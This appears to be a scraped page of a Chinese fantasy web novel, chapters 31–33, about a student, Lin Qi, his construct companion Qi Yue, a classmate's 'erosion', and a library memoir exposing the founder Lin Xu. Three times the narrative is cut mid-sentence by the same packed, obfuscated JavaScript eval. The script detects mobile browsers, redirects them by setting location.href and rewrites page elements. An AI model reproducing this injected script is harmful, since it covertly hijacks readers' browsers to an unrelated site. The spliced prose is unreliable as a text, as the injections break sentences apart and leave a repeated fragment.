“我说得更具体些——如果他浑身长满鳞片和尖刺,你们还愿意跟他坐在一起,手挨着手吗?如果他脸上长满溃烂和脓疮,你们还愿意跟他一起用餐,从同一个盘子里吃食物吗?” 说到这里,蒋星落声音微沉:“我知道你们都很关心同学,但感情是一回事,理智又是另一回事。希望你们想清楚再回答。” 31. 第 31 章 校长室是一间很厚重的屋子——墙壁厚,窗户厚,门板厚,地毯厚,加上已经用了上百年,历史也相当厚。 厚厚的校长室像是一只四方形的压力锅,盖子一关,里面就会自动加压,让人胸口发瘪,本能体会到一股肃穆庄严。 如果没人说话,这种感觉就会更加明显。 傅明熙根本就不想思考这个问题,他现在只觉得,林栖很烦,很碍眼,每天带着他的顶级造物招摇过市。 而且,他本来也不会跟别人坐在一起,还手挨着手,更不会跟别人在同一个盘子吃饭。 安薇和她的这些同学不一样,她已经十七岁了,自从五年前被白塔选定,她每年都来参加考试,但每一次都没能入选。 和别人不一样,她的目标是成为画傀师而不是单纯上学,所以她只考画院,对其它学院毫无兴趣。 多年来,她的绘画功底已经进步很多,在源墨测试里,她画的那个圆是全场最圆最规整的,但有什么用,画得再好,也只是浮起一个很暗淡的光圈,几秒钟就散了。 学城只接收十八岁以下的学生,今年是她最后一次机会,为了入学,她只能参加补考,进了造院。 虽然不能成为画院学生,但不代表她不能成为画师,她会找机会去画院旁听,会买书自学,会把所有课余时间用来练习。 今天她来找校长,其实是想申请转院。 她听说了乐贤的事,如果画院那边也有人因为侵蚀退学,就会空出名额。对她来说,这是一个机会,只要能让她去画院,哪怕只是旁听都好。 就算申请失败,她也会按原计划自学,绝对不会为了别人冒险。 校长问的这个问题,对她来说毫无意义。 沐夏被问得有点懵,在知道乐贤出事之后,他一直想的都是,情况不严重,可以找祈院净化。 等净化好了就没事了,还是好好的,就跟之前一样。 他完全没想过自己会和一个有侵蚀的同学坐在一起,现在真的开始想象,才觉得那个画面有点吓人…… 桌子上,两条胳膊互相挨着,一边干干净净,一边全是密密麻麻的鳞片尖刺,稍微一动就会碰到一起,尖刺那边肯定没事,干净这边就倒霉了,扎得呼呼冒血…… 林栖也沉默着,睫毛低垂,脸上看不出什么表情。 许慎行难得没插话,只是皱眉看着几人。 蒋星落目光像在巡视,依次扫过几张年轻稚嫩的脸,片刻,温声道:“很难开口是不是?这样吧,不用回答。你们中间,如果有谁愿意跟乐贤坐在一起,就向前一步。” 沐夏顿觉嗓子发干发痒,使劲想着,只是坐一起也不会怎么样,而且都是假设……还有祈院呢,不会真的放着学生不管,而且乐贤很有天赋,就这样走了真的可惜…… 他身体前倾,脑子里决定了要迈出一步,但一秒过后,却发现自己只是晃了一下上半身,脚底板就像糊了强力胶水一样,粘在地上纹丝不动。 不是的,不是这样,他是愿意帮乐贤的…… 蒋星落目光停在沐夏身上,眼中笑意渐渐明显。许慎行左右看看,撇着的嘴巴瘪了瘪,正要说话,余光却见旁边有人动了。 一道很轻的脚步声落在地毯上,林栖缓缓向前一步,站了出来。 蒋星落捕捉到这点动作,视线朝林栖转了过来,许慎行则闭上了张开一半的嘴,把刚提起的一口气又缓缓吐了出去。 这一刻,林栖脑子里的想法很简单:不要动,不要引人注意,不要和别人不一样。 但同时,他心底又响着另外一种声音,像是齿轮转动,有一种无形的力量在推。 感觉自己成了一只铁皮玩具,只要上了发条,就一定会向前迈步。 因为真正让他往前走的,不是薄铁皮凹成的这一双腿,而是背上那根张着小翅膀的发条。 蒋星落的声音像一阵暖风,从办公桌后拂来,“很勇敢,你叫林栖对么?不过我看到你也受伤了,还疼吗?” 林栖觉得周围有种沉闷的静,被叫到名字时,耳边几乎嗡了一声。 他抬高视线,看向对面那位校长,听到自己的声音仿佛从远处传来,“我愿意和乐贤坐在一起,所以他能留下来吗?” 空气静了一秒,紧接着—— “我!我也愿意!”沐夏的声音忽然炸了起来,仿佛林栖的话是一根引线,不小心点着了受潮的炮仗。 说着,沐夏眼神发飘地往前迈了一步,可能鞋底胶水太黏,他挣脱时没收着力,步子跨得太大,比林栖多站出去半个身子。 不过很快,他就意识到自己身边没人,空荡荡的,于是本能又往后退了半步,余光瞥着林栖,跟他并排站好。 他心情有点激动,很希望林栖能看他一眼,互相交换一个鼓励的眼神,但林栖只是平静地目视前方,脸上几乎没有任何表情。 他盯着林栖侧脸看了看,忽然觉得林栖这样很帅,于是也跟着平复表情,朝前站好。 想象中,两人肩并着肩,帅得整整齐齐。 另外一边,傅明熙和安薇只是站着,不说话,也不表态。 蒋星落看向安薇,正要再说什么,许慎行却抢先一步开口,朝林栖和沐夏道:“刚好,乐贤坐中间,你们两个一边儿一个,问题就解决了。” 说完,他眼皮一抬,继续堵在蒋星落前面开口,“行了,该问的都问完了,安薇,傅明熙,还有林栖、沐夏,你们四个,都去外面等着。” 校长室隔音很好,走廊上完全听不到里面任何声音。 以房门为中心,傅明熙和安薇站在左边,林栖和沐夏站在右边。 林栖左边是门,右边是沐夏,背后是墙,祈越站在对面,跟他隔着走廊。 走廊安静有回声,让人不敢大声说话。 沐夏忽然凑近林栖,想跟他悄悄说点什么,林栖默默偏头躲开,沐夏盯着林栖耳朵,又往前凑,于是林栖再躲,连上半身也偏向一边,整个人几乎弯成半个括号。 冷淡的少年嗓音忽然响起:“你们两个是耳背吗?” 沐夏第一时间其实没懂祈越在说什么,只是被声音吸引了注意力,林栖则趁机往旁边挪了两步,半只小括号顺利恢复成了一条竖线。 “什么?我没听清。”沐夏看着祈越,微微往前探着身子,一双不太大的眼睛闪闪发亮,对和顶级造物聊天充满热情。 林栖看了看自己和沐夏间的距离,略一犹豫,就走到对面,站到了祈越旁边。 他保持了一米距离,忍不住想,如果沐夏也跟过来,直接站到这一米中间,会怎么样? 祈越是会躲开,还是把人骂走? 正想着,就听祈越低低说了一声:“果然耳背。” 沐夏没听清似的眨了下眼。 就在这时,一道光从紧闭的门里泄出,许慎行走了出来,脸色黑得像根朽木,显然和校长聊得不算愉快。 好消息是,校长同意乐贤留下,他们此行的目的达到了。 许慎行把几人分别送回住处,别墅区和公寓区有些距离,一路上,傅明熙看都没看林栖一眼,即使林栖凑巧出现在他视线范围,他也会将目光移向远处,不在林栖身上逗留。 直到两边分开,林栖跟着许慎行走远,他才转动视线,瞥着林栖背影,厌烦地皱起眉头。 许慎行先送安薇,又把林栖他们送到楼下,分别时,在沐夏头顶拍了拍道:“行了,赶紧回去。” 拍完又很欣慰地看了林栖一眼,冷脸责备:“还有你,别把侵蚀不当回事,谁让你跟乐贤坐一起了?” 沐夏在旁边嘿嘿笑,一对小虎牙闪闪发亮,双手握拳,在胸前挥了挥,好似一只水獭捏着小鱼干晃。 “太好了,乐贤不用走了。” 这句话他说了一路,又念叨着爬完了七楼,跟着林栖到了701门口,不走,一副还打算再说五百年的样子。 林栖站在门前,顿了顿,转身朝他挥手,“再见。” 啊? 沐夏看着一扇门在自己眼前关上,缓缓愣住,欢快的笑容在两颗小虎牙上凝固。 不过也只凝了短短一瞬就重新化开,他好心情地“哦”了一声,隔门朝林栖挥了挥手,“再见,再见,明天见——” 回屋之后,林栖去洗了手,慢吞吞地用毛巾擦干手指,心里有一句“可是”没说出口。 许慎行说,别把侵蚀不当回事,可是…… 侵蚀不会对外造成污染。 观沄很早就跟他说过,侵蚀按严重程度,分不同等级,林鹭的管家是二级,符合外城区最低标准,如果达到三级——全身侵蚀,就要离开整个学城范围,去其它限制更宽松的城市生活。 再往上还有四级——全身侵蚀+局部畸变。 畸变严重到一定程度才是五级,也就是——怪物。 观沄说,只有怪物才会对外产生污染,造成新的侵蚀。 所以哪怕乐贤达到四级,和他坐在一起也是很安全的。 可今天在校长室里,所有人的反应都默认接触侵蚀并不安全,也没人讨论这个问题,似乎把它当成了一种常识。 林栖以前觉得,所有人都认可的才叫常识,现在才知道,原来常识和常识也不一样。 上城区有自己的常识。 林栖想再问问观沄,但现在没有观沄,只有祈越。 而一看到祈越坐在那里,他脑子里的问题就自动变成了……多重人格。 他拖着步子,慢吞吞走过去,希望不用自己开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643469|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,祈越就能自动回答。 可惜没有。 林栖走到房间中心,晃了两步,又往后退了一点,在书架旁边站好,跟祈越斜着相隔两米。 “之前还没说完……”他一边开口,一边组织语言,“你和你的另外……和另外的那个你,你和你的那个‘邻居’……” 祈越向后靠着椅背,语气淡淡的像在谈论天气,“不会说话可以别说。” 林栖乖巧地“嗯”了一声,“那我不说,你说。” 祈越目光从下而上扫过,在林栖脸上停住。 林栖想问的问题,他也无数次问过自己。 按时间线梳理,既然这具身体是一件顶级造物,那么造物师在创造它时,一定赋予过它某种“人格”。 后来,又有一个外来意识,因为某种原因占据了这件造物,和原本的造物人格共用一个身体。 作为“外来意识”,祈越无法直观感受到造物人格存在,但很清楚,自己会有周期性的意识空白。 出现意识空白的频率不高,通常间隔35-45天,持续时间为8-15小时,偶尔超过一些,但必定在24小时以内。 这期间他的意识处于深眠状态,对这具造物身体所经历的一切毫无所知。 但醒来后,当他重新控制身体,又会得到某种很模糊的反馈,知道对方在占用身体时大概做过什么。 比如,对方会修理那些他无法修复的造物,并为此外出寻找修复材料。 行动多和造物相关,且极少与人交流,祈越以前一直认为,这是某种“造物本能”。 但现在他不这样想了。 最近出现了很多反常情况,都发生在他遇到林栖之后。 他第一次见到林栖,是在店门外,这人用一种看怪物的眼神盯着他瞧。 第二次是在店里,林栖拿着别人的邀请进店参观,还说要找林叙作品。 第三次是补考期间,林栖受邀前来,而他告诉林栖,自己要跟他一起上学。 那些反常集中在第二次和第三次之间。 第一,他有一段长达三天的意识空白,这种情况前所未有,而且事后完全不知道对方占据身体做过什么。但根据后续情况,很容易推断出,林栖在这三天内来过店里。 第二,在这三天时间里,店主突然一反常态,对很多客人发了邀请。这些客人都在最近一个月内向店铺提过参观申请,但都不符合条件,而店主却让独角仙给所有人发了邀请函。 对这种情况他只能想到一种解释,店主要找近期来过店里的某位客人,但没有对方身份信息,只能通过这种方式筛选。 第三,同样在这三天里,店主破例给出许可,让参加补考的学生有机会进店选购造物。 似乎店主认为,他要找的客人很可能就在这些学生里面。所以,那位客人是一个符合入学标准的孩子,年龄在12-18之间。 第四,店主突然决定,让他以造物身份,跟林栖一起上学。 以及,昨天那种情况十分反常,不在35-45天的周期内,像是突然出了什么紧急状况,所以对方才会临时占用身体查看。 现在看来,这些异常状况或直接或间接,都和林栖有关。 祈越现在很想知道,这个人到底有什么特别? 他看着林栖开口,面色如常,丝毫看不出心里在想什么,“所以,多重人格有什么问题?” 林栖头顶缓缓冒出省略号。 你之前好像不是这么说的…… 片刻,他问:“为什么造物会有多重人格?” “这你得去问造物师,搞得什么抽风设定。”祈越语气和内容不符,听起来颇为正经,“而且,像我这种老古董,有点不正常也很正常吧?” 林栖:“?” “放心,我和我的那位‘多重人格’不会像幻灯片一样,整天切换来切换去。另外那个多少有点毛病,不会经常出来。” 林栖:“……?” 不等他再发问,祈越就转了话题,“你把昨天那句话再重复一遍。” “……哪句?” “就是我那位‘多重人格’说的,和触角有关的那句。” “藤蔓和触角?”林栖回忆道,“藤蔓和触角一样,主要功能都是探查而不是攻击。” 祈越垂眸,若有所思地“嗯”了一声。 片刻,他道:“看来,这次事件不是意外,怪物是有人故意放进来的。” “故意?”林栖似乎一时没能听懂这句话的意思。 “打个赌吗?”祈越侧眸,目光顺着狭长眼尾停在林栖脸上,“输的人告诉对方一个秘密。” 林栖:“……” 你到底懂不懂什么叫秘密? 32. 第 32 章 林栖没跟祈越打赌,但祈越好像觉得,没明确拒绝就算默认。 其实这几天不管走到哪里,都有人在谈论怪物。“怪物”两个字已经成了日常生活中的底噪。 林栖已经快脱敏了。 如果不特意听,几乎可以充耳不闻。 但因为这个莫名其妙的赌约,“怪物”两个字在他这里又被标了高亮,只要周围有人提起,总会下意识地竖起耳朵。 前几天的议论重点在于怪物有多恐怖,侵蚀有多可怕,但从周四晚上,也就是祈越提出打赌的第二天开始,林栖已经听到有人议论,说怪物是被人故意放进来的。 当天没过多久,沐夏就来敲门,跟他分享这个最新情报,还嘱咐他不要随便出门,更别单独行动,如果非要出去,就去叫他一起。 他说,很显然,有人要针对今年刚入学的新生,搞不好就是哪个学生家长,自己孩子没考上,就想用这种方式把人赶走,好让自己孩子进来。 经过一晚上发酵,到第二天,一群充满想象力的学生已经把事件真相推理出了几十个版本,有些学生甚至怀疑到任课老师头上,干脆请假,锁了门在屋里猫着。 到了周六,已经有一些住在上城区的家长闻风赶来,要求校方彻查,给所有人一个交代。 对此,校方没有明确表态,只说要先保证学生安全,现在的首要工作是排查隐患,防止类似事件再次发生。 校区依然处在封闭状态,这周末所有学生统一留校。 从第二周起,新生就要在各自院系开始上课,林栖在周日上午拿到了这学期要用的专业书、课程表和院系图书馆的借书卡。 “造物概论”每周一三五上午各一节课,所用教材为:《造物学》《造物艺术》《功能与审美》《造物赏析》。 “造物基础”每周一至周四下午各一节课,所用教材为:《造物工艺入门》《造物设计入门》《初级造物》《新编造物材料学》《初级造物经典案例赏析100例》。 “造物史”每周二和周四上午各一节课,所用教材为:《当代造物史》《造物200年》《造物与造物师》。 所有书都是新语写的,林栖抱着字典翻译书名,用古语写在便签纸上,等把所有书名翻译一遍,人已经快睡着了。 随便打开一本书,对着那些密密麻麻的小字看十秒钟,他就会感到大脑缺氧,如果连续看十分钟,大概就能直接晕倒。 一想到以后每天上课都要用到这些,林栖就有点不想活了。 但文盲不可能一夜之间学会识字。 现在不活也已经来不及了。 在努力了一个小时之后,林栖撑着沉重的眼皮起身,看向那张崭新的借书卡。 沐夏告诉他,造院图书馆有一整墙的古书。 之前林栖已经被公共课老师带着去过一次校图书馆,可惜借阅区所有图书都是新语,且和建校时期有关的内容很少。 他拿了最厚的一本书,对着字典查了几个小时,有关林叙的部分也只有短短几行,内容都是他已经听说过的。 之前凌壑想骗他来上学的时候就说过,学城有很多藏书,还包括许多珍贵古书,但没告诉他,那些书其实不在学校图书馆里,而在白塔——就是那座建在学城最高点上,塔尖永远亮着一颗银星的高塔。 白塔藏书区日常不对学生开放,特殊情况需要提前申请,且经过至少一位任课老师推荐,通过院长批准,再由白塔管理员审核通过,才能拿到借阅许可。 白塔同样收藏有林叙留下来的造物,但从借书流程就能想象,要看那些造物也要先写申请,再经过层层审核。 ……还是先去看看沐夏说的那面墙吧。 林栖准备出门时,祈越正在窗前看书。 这人似乎什么书都看得下去,比如现在,手里这本就是很厚很枯燥的《造物学》。 祈越似乎看得很投入,不管林栖在屋里弄出什么动静,都不会多抬一下眼皮,但只要林栖出门,他又会放下书,起身跟上。 大部分时候不说话也不靠近,只是隔着一米距离默默跟着,完全就是一道影子。 林栖几乎已经习惯了,但他今天去找古书,不想被人盯着,于是在出门前,下意识多看了祈越一眼。 祈越脚步一顿,目光在他身上扫了几下,“不想让我跟着?” 林栖:“……” 虽然但是…… 确实不想。 接着就听祈越淡淡“哦”了一声,抬起手,朝他晃了一下小指,“都把名字写在这儿了,现在又说不让我跟?” 他说话的语气比平时稍慢,配合着随意的站姿和眉梢眼尾的一点笑意,整个人隐隐透出一种不要脸的气质。 像个……无赖。 在脑子里跳出这个词时,林栖自己都惊了一下,随即想到祈越提出打赌时的态度,又觉得,自己好像惊得有点晚了。 “作为一个被你署名的造物,我不跟着你,如果出了事,该算谁的?” 祈越说话时,林栖正盯着他看,几乎眼睁睁看着这人敛起笑容,收起随意,就这么从无赖变成了优秀学生。 隔了一会儿,林栖觉得,这话其实很有道理,两个人一起行动,可以防止学校再找麻烦。祈越想得比他仔细…… “而且——”祈越再次开口。 林栖“嗯”了一声表示自己在听。 祈越继续把后半句话说完,“如果我不跟着你,要怎么监视你呢?” 林栖愣了一秒,才反应过来这句话的意思。 他站在原地,面无表情地静了片刻,然后道:“那就监视吧。” 他发现自己其实猜不透祈越在想什么,也分不清他哪句话是真的,哪句话是假的。 既然猜不透,那就不猜了。 随他去吧。 十分钟后,林栖和祈越一起到了造院图书馆门口。 进门处有管理员负责登记,林栖有借书卡而祈越没有,他看到门外走廊有长椅,朝祈越瞥了一眼,刚想说你可以坐在门口等着,刚好能从窗户继续监视。 就听管理员道:“你们新来的可能还不知道,咱们院里大部分地方,都能带造物进去。” 林栖转头看他,动作稍稍有点迟缓。 这位管理员微胖,笑起来脸颊两个酒坑,一边把借书卡还给林栖,一边苍蝇搓手地打量祈越。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643470|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当然也分情况,有些造物确实不适合带到室内,但你这件肯定可以。你们直接往里走,走到底,上二楼,二楼人少,窗户前面有条过道,顺着走到底,还有几个位子,那边是过期杂志,一般都没什么人去。” 言下之意很明显,如果林栖直接把祈越带到图书馆里,找个人多的地方坐下,大概率会遭人围观。 林栖道了谢,在管理员热切的目光中上了二楼,他打算先把祈越“寄存”在过期杂志那里,再去找沐夏说的那面墙。 二楼确实人少,放眼望去只有两三个,看身形明显是高年级的学生。 林栖顺着窗前过道往里走,还没几步,忽然就听有人压着嗓子叫了一声:“林栖!” 沐夏从一摞书后面仰起头,一脸高兴地朝他招手。 好吧…… 林栖在心里默默放弃计划,打算等下次再找想要的书,但走到沐夏桌前却愣了一下。 沐夏手边放着一本书,名叫《启明星的陨落——回忆我所认识的院长林叙》。 “哦,这个。”沐夏发现他在看,主动又拿起另外一本,“这两本是一样的,一个古语一个新语,我拿着是想对照一下两版插图,已经看完了,你看吗?新语这本给你。” 书直接递到手边,林栖接了,目光落在桌上,“我也想对照一下插图。” “那你看吧,就坐我这儿,老版插图确实更好一点,我再去拿几本书,顺便搬个凳子过来,我们一起。” “谢谢,不用麻烦,我能拿到那边看吗?”林栖指着走廊尽头,“我想找点过期杂志。” “可以啊,那你看吧,我晚点儿过去找你。” 管理员说的位置果然僻静,左右立着几个杂志架,中间空了两张桌子,不过再往后就是工具间,旁边没窗,稍显沉闷。 林栖把书放在桌上,从桌下拉出凳子。折凳支脚在深灰色的地毯上发出一点空闷的摩擦声。 同时,对面也传来了同款声响。 当响声停止,两人在同一张桌子的两侧相对而坐。 桌面宽度显然不到一米。 林栖忽然想说:你坐得是不是有一点近? 他只是想想,祈越却直接开口:“那我挪开,让你那个同学坐在这里?” 确实,一张桌子标配两个座位,如果祈越不坐,待会儿沐夏就会坐在这里。 林栖被拿捏了。 算了,随便吧。 他把两本书同时翻开,扉页上的第一张图是一幅套色版画,印着两棵并肩而立的树。树还很小,没经历过风雨摧蚀,枝干挺拔秀丽,明亮的金橙色叶片像团扇一样张开。 两本书上用了同一张图,但古语那本已经明显褪色,光感像是黄昏。 图下搭配的文字是手写体,因为印在扉页,总被翻动,又年代久远,字迹已经有些斑驳—— [金隐和月升,是老师亲手种下的树。关于这两棵树,还有一段趣闻,据说老师和友人打赌,输的人要亲手种一棵树,老师连输两次,所以种了两棵。我们都很好奇赌了什么,居然能叫老师连输两次。但老师总不肯说,问多了还要瞪眼,于是同学猜测,大约是赌早起,那老师确实必输无疑。] 33. 第 33 章 书很薄,应该很快就能翻完。 林栖看完第一张插图,从书页上抬起视线,看到了支在桌对面的手肘,再往上,是一段清瘦的腕骨,以及撑在手指关节上的瘦削下颌……然后就是略微下垂的睫毛和那双深红色的眼睛。 祈越正在对面看他。 两边就是杂志架,随手抽一本就能假装在看,但祈越没有,就这么无所事事地坐着,毫不掩饰地盯着他瞧。 林栖:“……” 后悔了。 还不如让沐夏坐在这里。 他默默收回视线,只当对面是一盏瓦数有点大的台灯,只要你不看它,就不会觉得灯泡特别晃眼。 他把两本书同时往后翻,寻找下一张插图,这时就听对面那盏台灯开口:“看得这么快?” 图书馆安静,加上位置偏僻,连翻动书页的声音都脆得像在油里炸过,近距离的人声就更像是直接从耳机里传出来的。 带着一点沉闷而空旷的回响,清晰到令人炸毛。 话里那一点意有所指也像狗尾草上的芒刺一样,沾到手上就痒。 看插图只需要一眼,是无所谓快不快的,祈越是在说他看字看得很快。 但祈越知道他会古语,为什么还要在这个问题上…… 林栖手上动作没停,这时刚好翻到第二张插图,于是心思被拉回来,立刻忘了自己前一秒钟在想什么。 这张插图配色十分惹眼,深邃的蓝色背景上画着一只朱红色的金鱼。金鱼张着鱼鳍,悬在半空,周身裹着一团暖黄色的光晕,似乎是只灯笼,但没有提线也没有手柄,看不到放蜡烛的位置,鱼脸上的表情也十分生动。 下方配文依然是手写体—— [这只金鱼灯是老师做的原版,后来很多同学都复刻过。我也做过,不过不太成功,只能让胆子特别大的同学尝试。] [我们上一届有个学生名叫小鱼,特别怕黑,晚上不敢去上厕所。怕上厕所,所以不敢喝水,嘴唇总是干裂出血。于是老师就做了这个金鱼灯。] [金鱼灯会随着人的气息游动,呼吸越重,灯光越亮。如果比赛肺活量,它大概会蹲在第一名的头顶。在白天,这是一只只会游来游去的大胖金鱼,偶尔还很碍事,但到了晚上,当所有孩子都睡下了,它总能根据呼吸轻重,找到那些睡不着的孩子,留在他们房间照亮。如果哪个孩子半夜起床,也会第一时间被它找到。] 看完之后,林栖忍不住想,那个名叫小鱼的学生,有没有在晚上跟着金鱼灯一起出去过呢? 呼吸越重,灯光越亮……那他可能会抱着那条金鱼大声喘气。 林栖唇角无意识地向上扬起,继续向后翻,视线掠过那些印刷体的纯文字页…… 等等,他是不是忘了什么? 疑问刚刚冒头,他就翻到了下一张图——配色明媚,背景一半蓝天,一半绿草,一棵大树枝繁叶茂。树枝上坐着一个头发乱蓬蓬的女孩儿,很瘦,一张脸小得像猫,把眼睛衬得很大,精灵一样。那是一双很漂亮的眼睛,只是眼神有些茫然,似乎不知道该看哪里。 她的白裙子从树枝上垂下来,很好看,但裙子里是空的。 她没有腿。 [这个孩子名叫喵喵,是学校最早的一批学生,入学时只有六岁。喵喵双腿畸形,发育程度几乎和刚出生的婴儿无异。她不能走路,以前在荒丘时,会把自己藏在铁皮桶里,四下无人时,再带着这只小桶一起移动。欺负她的孩子只要看到她,就会把她从铁皮桶里拖出来,嘲笑她,叫她寄居蟹,又热衷于给她换壳。] [后来,老师为她做了一对造物翅膀。于是这个从来不会走的孩子,学会了飞。] [不过这双翅膀也闹过许多笑话,老师曾为此连夜拆了所有教室里的吊扇,防止她又挂在上面飞不下来。] 这一页的后面还有一张插图,是一张手绘的翅膀,只有线稿,没上色。 [我最后一次见到喵喵是在照片上,那时的她已经看不出任何人类特征,但我认得那双翅膀。纯白的翅膀被畸形的身体组织包在中间,和怪物肢体融在一起。我想,她直到失去作为人的最后一点意识,都没有丝毫怀疑过自己的老师。某种意义上,这也是一种幸运。] 林栖翻页的手颤了一下,不小心跳过中间,翻到了最后一页。这页插图是手绘的学生合影,空白处标注了每个人的名字。 下方,手写的字体比之前更显潦草—— [在出事之前,我们所有人都很信任老师。] [谁又能不信任呢?] [我常在噩梦惊醒时想,如果世上真有恶魔,应该就是老师这样的人吧,轻而易举地玩弄人心,摧折人心……] “啊,你看完了?”沐夏的声音忽然响起,林栖甚至没听到他是什么时候走过来的。 “是不是老版插图更好?尤其是后面几张,比新版清晰多了。”沐夏走过来看了一眼,把手里的几本书放在隔壁桌上,又折回来,将那本新版书也翻到最后一页,指着给林栖看,“这张特别明显,新版都看不清人脸,旁边的字也是糊的。” “确实。”林栖应了一声。 “我听说,这张照片上的人大部分都失踪了,变成怪物,最后也没找到。”沐夏感慨地推了推眼镜,“对了,这本书你以前没看过吧?外面书店都见不到,校图书馆也没有,只有咱们院有。” “为什么?”林栖问,注意力还没完全从书上出来,有些不太集中。 “其实这也算是‘禁书’。”沐夏挠了挠头,“虽然……写得也是事实吧,但个人感情色彩太浓烈了,很容易影响读者,能看出来,作者真的很崇拜……嗯,很怀念林叙。啊不是,你别误会,不是洗白,他用的是另外一种方式……” 沐夏挠挠头,尝试组织语言,显然,比起说,他更擅长看。 “你还没看内容,那我跟你简单说一下吧,其实它就是……大半本书写的都是很具体的日常小事,都是林叙对学生怎么怎么好……其实我们经常能听见有人说那些学生笨,没看出林叙是坏人,被骗也活该,但其实不是的,看过这本书就懂了,真的很难不被骗,反正我不行,如果有一个老师对我那么好,我肯定也很喜欢他,很相信他。” 沐夏又挠挠头,“然后……看完前面,再看后面那些学生的结局,就……真的……特别可怕,毛骨悚然,我看的时候鸡皮疙瘩都起来了,所以这本书也还是很有警示意义的吧,我觉得还是很值得看的……” 沐夏说着说着,发现好像把自己绕进去了,如果能起到警示作用,那干嘛还要禁呢? 在他思考时,林栖又朝摊开的书页上看了一眼,那张插图下方的最后一行字是—— [可我依然希望,某天醒来,有人能告诉我,一切都是假的。] “你还看吗?”沐夏指着两本书问,“不看我就先放回去,院馆也就这两本了,平时都藏着,一般人找不到,我也是问了别人才知道的。” 林栖摇了摇头,于是沐夏就把两本书都收起来了。 林栖记住了他藏书的位置,打算下次自己单独来看。 还有那一面墙的古书。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643471|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 今天有沐夏在旁边,他只找了几本图册来看,其中一本刚好有金鱼灯的照片。 虽然不识字,但看年份也知道,都是后来做的复刻。 林栖只在图书管待了一个小时就回去了,而沐夏一直等到闭馆才走。 临睡前,沐夏过来敲门,很兴奋地跟他说,乐贤回来了,明天可以正常一起上课,让他放心,又嘱咐他早点睡,记得早起,上午是许院长的“造物概论”,千万不能迟到。 以及,上课能带造物,教室里有专门的存放区。 入夜,林栖躺在他的小床上,看着挂在床柱上的围帐,还在想着那本书上的插图。 不知道现在的造院还有没有金鱼灯? 如果有,他觉得那只胖金鱼今晚应该会来找他。 窗外,白塔顶端银星闪耀,璀璨到让人有些失眠。 学城原本叫作荒丘,是一片丘陵,在中心区地势最高的几座丘陵之间,有一片湖。 不管从哪个角度,总能看到湖中倒映白塔上的银星,加上天气好的时候,常见星落满湖,因此又叫“落星湖”。 午夜静谧。 湖心停着一叶小舟,一道单薄人影坐在船尾。 片刻,有风吹皱水面,船头凭空向下一沉,像是有人登船,却又不见人影。 阴冷潮湿的嗓音在风中响起:“那个林栖,是林家人吗?” “我看不像。” “不管是不是,总要知会那边一声。” “那你去?又没人拦着。” 一阵沉默,空气中传出黏腻的水声。 昏沉月色下,湖面反光在船头照出一道影子,像透明的蜡烛,因融化而显得扭曲。 在月光照不到的角度,依稀能看到一张人脸,嘴缝一直裂到耳根。 “你不必这样跟我说话,我只是在提醒你,那边会很乐意知道这个消息,你办事得力,也会更受器重。” 坐在船尾的人影笑了一声,“给一个十年没吃饭的人上一桌山珍海味,结果拿起筷子才发现,菜是馊的,是你会怎么想?——哇~好感动,这是厨子对我的一片真心?” 那张裂开的嘴巴缓缓蠕动,看不见的牙齿上下磨着,发出咯咯声响,“你怎么敢这样说话?” “过奖了,是你要拿一桌馊菜邀功,我觉得,还是你比较敢想。” 磨牙的声音更加明显,“这件事一直没有进展,对你也没好处。” “我不想要好处,只要别是坏处就行。” 短暂沉默后,湿冷的声音再次强调,“可他姓林。” “好~姓林~去吧,把他抓去邀功,凑够一百个姓林的笨蛋,说不定真能负负负负负负得正,变出一个天才。” 咯咯声伴随着透明身影扭曲变形,有什么东西贴着船板滑动,落下粘稠的“嗒嗒”水声。 潮湿的嗓音似乎有些气恼,“那你说,该怎么办?” “还能怎么办?我早说过,不能杀鸡取卵。鸡都快被你们杀完了,现在连鸡蛋也不放过,林家人就算再有本事,也不能从坟墓里爬出来,给你们再生几个天才。” 月影下,一张透明面孔越发扭曲,几乎要从面颊皮肉中透出一排细密交错的獠牙。 片刻,船头晃了一下,继而向上翘起。 一片水滴洒向湖面,溅起一阵水花。 某种黏腻无形的事物从水中远去,小船周围,破碎的月光逐渐平复完整。 船尾处的人影垂手拨弄,将它重新搅碎。银色浮光掠过他年轻漂亮的眉眼,映出眼底一抹笑意。